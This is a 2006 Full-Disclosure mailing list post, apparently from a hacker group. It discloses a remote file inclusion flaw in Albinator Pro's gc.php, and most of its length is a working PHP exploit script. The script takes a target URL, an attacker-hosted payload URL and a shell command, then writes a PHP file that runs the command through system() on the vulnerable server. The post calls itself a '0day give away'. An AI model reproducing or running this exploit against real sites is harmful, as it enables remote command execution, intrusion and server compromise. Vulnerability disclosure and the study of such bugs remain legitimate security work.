[XPA] - Albinator Pro <= 2.0.8 - Remote Command Execution Vulnerability

[wr0ck <wr0ck.lists () gmail com>]

===========================================================================
XOR Crew :: Security Advisory 0day GIVE AWAY         (date?)   2/20/2006
===========================================================================
Albinator Pro <= 2.0.8 - Remote Command Execution Vulnerability
===========================================================================
http://www.xorcrew.net/                     http://www.xorcrew.net/ReZEN
===========================================================================

:: Summary

      Vendor       :  Albinator
      Vendor Site  :  http://www.dreamcost.com/
      Product(s)   :  Albinator Pro - Photo Album/Gallery Management System
      Version(s)   :  All
      Severity     :  Medium/High
      Impact       :  Remote Command Execution
      Release Date :  2/11/2006
      Credits      :  ReZEN (rezen (a) xorcrew (.) net)

===========================================================================

I. Description

Albinator is developed in PHP, backed by lightning speed database in 
MySql. With its unique features, it instantly and automatically 
organizes your websites' users digital images into compact digital photo 
albums ideal for sharing and emailing to friends and family. It 
automatically generates thumbnails to the photos for easy browsing.


===========================================================================

II. Synopsis (0day give away because r0t is stupid)

THIS BUG WORKS FOR ALL VERSIONS OF ALBINATOR!!!

(r0t you are a moron, stick to useless XSS exploits please thanks)

There is a remote file inclusion vulnerability that allows for remote 
command execution in the /essentials/gc.php and in the 
essentials/integration.inc.php file.  The bug is here on lines 2, and 3:

include_once($dirpath . "essential/config.php");
include_once($dirpath . "essential/config_tables.inc.php");

the $dirpath variable is not set prior to being used in the 
include_once() function. The vendor and support team have been contacted.

===========================================================================

Exploit code:

-----BEGIN-----

<?php
/*
Albinator Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, D2K
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/path to albinator/essential/gc.php?dirpath=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" 
value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" 
value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" 
value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>


------END------

===========================================================================

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, D2K.

===========================================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/